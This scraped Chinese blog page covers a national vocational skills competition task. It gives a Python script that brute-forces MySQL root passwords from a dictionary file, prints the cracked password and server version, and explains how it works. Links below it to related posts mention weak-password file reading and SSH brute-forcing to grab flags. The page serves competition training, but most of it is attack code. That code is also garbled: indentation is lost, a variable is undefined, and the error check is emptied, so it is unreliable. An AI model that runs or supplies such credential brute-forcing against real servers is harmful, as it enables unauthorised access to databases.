全国职业技能大赛信息安全管理与评估-MySQL爆破脚本
DEMO:
#coding=utf-8 
import MySQLdb
class MSSQL:
    def __init__(self,host,user,pwd):
        self.host = host
        self.user = user
        self.pwd = pwd
    def connect_dp(self):
        conn = MySQLdb.connect(host=self.host,port=Flag3, user=Flag4,passwd=self.pwd,db='mysql',)
        cur = conn.cursor()
        if not cur:
            raise(NameError,"failed connect to sql server")
        else:
            return self.pwd
def main():
    fp = open('/root/superdic.txt','r')
    for password in fp.readlines():
        try:
            a = MSSQL(host=Flag1,user='root',pwd=Flag2)
            ms = a.connect_dp()
            print password.strip()
        except:
            pass
    if not s:
        print 'brute failed'
    fp.close()
if __name__ == '__main__':
    main()
#Flag1 = "127.0.0.1"
#Flag2 = password.strip()
#Flag3 = 3306
#Flag4 = self.user
分析赛题:
赛题主要是考察了类的传参和读写文件时候的去除换行符
代码是分析赛题后构思实现, 因为是自己想到哪写到那,哪里不会百度哪里,就出了一堆BUG~~MMP
函数:
0.printBanner()打印出banenr信息 没什么卵用
1.sqlConnect()核心函数,使用pymysql库连接mysql数据库,这里需要注意下端口是int,还有一点是使用connect函数的时候,如果要指定端口,最好写成host=szhost,port=szport,这种=号的传参方式
mysql密码错误抛出的异常是
pymysql.err.OperationalError: (1045, "Access denied for user 'root'@'192.168.64.130' (using password:YES)")
我用了 "1045" in "抛出的异常" 来判断是否是密码错误,绝对不能直接except出去,因为这个函数会抛出很多异常,比如端口连接失败.连接成功后我执行了一条sql语句用来查询数据库的版本 对~这条语句也会抛出异常 但是这个我没有except~毕竟是个玩具写的老累了.我换了另一种方式,只要是1045错误的异常我都判断成密码认证错误,如果是其他的异常就完整打印出来信息,如果说用户体验什么的话·的确一堆乱七八糟的异常信息会让人很不舒服,但~这是个玩具~~~这样我查错就更方便了..
2.connectTest()连接mysql之前首先判断端口是否能连接
代码逻辑:
参数检查:
0.检查-i和-d后是否带参数 False=》exit() print(help)  True=> 去 1
1.检查-p后是否带参数,False=》使用默认的3306端口 True =》使用指定的端口
2.使用connectTest函数检查目标端口是否开放 False =》exit() print("端口未开放") True => 去3
3.检查字典文件是否存在 False=》exit() print("字典文件无法打开") True=>去4
4.打开字典文件
5.用for in 递归字典文件代码每一行 赋值给另一个变量 这个变量作为密码传进sqlconnect函数
#!/usr/bin/python3 import pymysql
import os
import optparse
import socket
import sys
import time
import threading
count = 0
def printBanner():
banner = '''
_____ _ _ ____ _ __ __ ____ ______ ___ _
| ___| | | |/ ___| |/ / | \/ \ \ / / ___| / _ \| |
| |_ | | | | | | ' /_____| |\/| |\ V /\___ \| | | | |
| _| | |_| | |___| . \_____| | | | | | ___) | |_| | |___
|_| \___/ \____|_|\_\ |_| |_| |_| |____/ \__\_\_____|
v1.0 R4bbit'''
print("\033[0;31m"+banner+"\033[0m");
def connectTest(host,port):
socket.setdefaulttimeout(0.1)
ser = socket.socket(socket.AF_INET,socket.SOCK_STREAM)
try:
ser.connect((host,port)) #链接成功 记得close()
print("[+] Target Port:%d" % port)
time.sleep(1)
print("[3]..........");
time.sleep(1)
print("[2]..........");
time.sleep(1)
print("[1]..........");
ser.close();
return True;
except Exception as e:
print("目标端口无法访问");
# print("Error"+str(e));
return False; def sqlConnect(szhost,szport,szpassword): #链接默认的数据库名Mysql
global count
count += 1
sql = "select version();"
try:
db = pymysql.connect(host=szhost,port=szport,user="root",password=szpassword,db="mysql")
cursor = db.cursor() #获取mysql游标
if cursor:
#print("\n")
cursor.execute(sql)
mysql_ver = cursor.fetchone();
szStr = "Password is:"+"\033[0;31m"+szpassword+"\033[0m"
print("\r"+szStr)
print("MysqlVersion():\033[01;31m%s\033[0m" %(mysql_ver))
exit()
# cursor.execute(sql);
except Exception as e:
#1045 密码错误 去匹配这个1045
if "" in str(e):
print("\r[%d]:%s" % (count,szpassword),end=".");
else:
print("[-] Error %s" % str(e)); def main():
printBanner();
parser = optparse.OptionParser("Usage -i <ip> -p <port> -d <dict_file>");
parser.add_option('-i',dest='ip',type='string',help = 'ip no')
parser.add_option('-p',dest ='port',type = 'string',help = 'port no')
parser.add_option('-d',dest='dict_file',type='string',help = 'no dict')
(options,arg) = parser.parse_args()
if(options.ip == None) | (options.dict_file == None):
print(parser.usage)
exit()
mysql_ip = options.ip;
if(options.port == None): #如果没有给出端口 默认就是3306
mysql_port = 3306;
print("[+] Use Default Mysql Port:%d" % mysql_port)
else:
mysql_port = int(options.port)
print("[+] Use Mysql Port:%d" % mysql_port)
mysql_dict = options.dict_file;
print("[+] Use DictFile:%s" % mysql_dict)
#判断目标端口是否开放
time.sleep(2);
if connectTest(mysql_ip,mysql_port):
if not os.path.exists(mysql_dict):
print("[-] %s字典文件 无法访问" % mysql_dict)
exit(1)
fp = open(mysql_dict,"r")
for mysql_pass in fp.readlines():
sqlConnect(mysql_ip,mysql_port,mysql_pass.strip()) if __name__ == '__main__':
main();

全国职业技能大赛信息安全管理与评估-MySQL爆破脚本的更多相关文章
- 全国职业技能大赛信息安全管理与评估-MySQL弱口令利用
		MySQL读文件 #coding=utf-8 import MySQLdb host = '172.16.1.' for i in range(129,131): tag = host+str(i) ... 
- 全国职业技能大赛信息安全管理与评估-第三阶段-弱口令自动爆破+读取Flag脚本
		自动爆破SSH弱口令+读取Flag #coding=utf-8 import paramiko sshc = paramiko.SSHClient() sshc.set_missing_host_ke ... 
- 全国职业技能大赛信息安全管理与评估-一些细节tips
		Base64加解密: ubuntu@VM-0-5-ubuntu:~$ echo iloveyou | base64aWxvdmV5b3UKubuntu@VM-0-5-ubuntu:~$ echo aW ... 
- 关于[神州数码信息安全DCN杯/信息安全管理与评估]的一些经验之谈
		前阵子参加了神州数码的比赛,赛后有如下经验分享,给还没参加过的朋友分享一下心德以及要注意的坑. 先科普一下这个比赛的三个阶段: 第一阶段主要是考网络部分的,例如搭建wifi以及防火墙诸如此类的设备. ... 
- 深圳即将启动首届「全国人工智能大赛」:超过 500 万大奖 & 政府资助,潜信息你读懂了吗!
		人工智能加速“视频/视觉”发展,近期,深圳市即将迎来人工智能领域权威赛事之一——首届「全国人工智能大赛」(The First National Artificial Intelligence Chal ... 
- ISO27001信息安全管理体系
		0x00 前言 初入甲方,刚开始接触的应该就是ISO27001信息安全管理体系,你拿到的应该就是一整套安全管理类的文档.在甲方,稍微有点规模的公司很注重制度和流程,岗位职责分工明细,那么这些安全管理制 ... 
- NISP二级笔记(一) 信息安全管理
		ISO27001 信息安全管理体系要求 ISO27002 信息安全控制措施(实用规则) ISO27003 信息安全管理体系实施指南 ISO27004 信息安全管理测量 ISO27005 信息安全风险管 ... 
- (java)Jsoup爬虫学习--获取智联招聘(老网站)的全国java职位信息,爬取10页
		Jsoup爬虫学习--获取智联招聘(老网站)的全国java职位信息,爬取10页,输出 职位名称*****公司名称*****职位月薪*****工作地点*****发布日期 import java.io.I ... 
- 怎么启用apache的mod_log_sql模块将所有的访问信息直接记录在mysql中
		怎么启用apache的mod_log_sql模块将所有的访问信息直接记录在mysql中 
随机推荐
- 吴裕雄--天生自然 HADOOP大数据分布式处理:修改CenterOS 7系统时间为北京时间
- Socket.io 入门 - Renyi的博客
			Socket.io Vue 中使用 NPM 安装 npm install vue-socket.io --save npm install --save socket.io-client 引用 详情 ... 
- 多方论战!市场到底看重VR哪些特质
			VR即Virtual Reality的缩写,中文译为"虚拟现实".近年来,VR的概念不断升温,三星.谷歌.微软.索尼.HTC等互联网巨头纷纷杀入VR市场,甚至催生出许多商业神话. ... 
- Simplifying Conditional Expressions(简化条件表达式)
			1.Decompose Conditional(分解条件表达式) 2.Consolidate Conditional Expressions(合并条件表达式) 3.Consolidate Duplic ... 
- 【pic+js+gh】免费高速图床方案
			本文用到的工具或网站 PicGo jsdelivr github 速度对比 Github的速度: jsdelivrCDN的速度: 下载PicGo 首先进入PicGo的下载地址 选择最新版本下载,根据自 ... 
- sql--测试商品的重要度,是否需要及时补货
			表1:商品表 表2:商品售卖表 需求:算出商品的平均点击率.平均销售.商品受欢迎度 1.使用inner join查出每件商品的点击率和销售额度 ) as selas from test a left ... 
- Python几个简单实用的模块
			今天整理了下,工作中常用的一些高阶函数,后面持续更新...... 一.collections 二.itertools 三.functools 
- OCR场景文本识别:文字检测+文字识别
			一. 应用背景 OCR(Optical Character Recognition)文字识别技术的应用领域主要包括:证件识别.车牌识别.智慧医疗.pdf文档转换为Word.拍照识别.截图识别.网络图片 ... 
- SpringBoot  全局异常处理 @RestControllerAdvice +@ExceptionHandler 请求参数校验
			ControllerAdvice 指示带注释的类辅助“控制器”. 作为的特殊化@Component,允许通过类路径扫描自动检测实现类. 通常用于定义@ExceptionHandler, @InitBi ... 
- Javascript元编程之Annotation
			语言的自由度 自由度这个概念在不同领域有不同的定义,我们借鉴数学中构成一个空间的维数来表达其自由度的做法,在此指的是:解决同一个问题彼此不相关的设计方法学数量. 例如,解决一个比如商品打折的问题,如何 ... 
